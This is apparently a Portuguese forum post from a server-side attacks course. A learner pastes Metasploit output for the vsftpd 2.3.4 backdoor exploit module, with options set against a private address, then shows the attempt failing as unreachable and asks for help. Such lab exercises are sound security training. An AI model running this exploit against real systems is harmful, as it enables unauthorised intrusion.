004 Ataques do lado do servidor

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  10.65.150.111    yes       The target address
   RPORT  21               yes       The target port


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Após dar o comando exploit abaixo

[-] 10.65.150.111:21 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.65.150.111:21) was unreachable.
[*] Exploit completed, but no session was created.

não conseguir acessar o servidor. Alguém poderia me ajudar?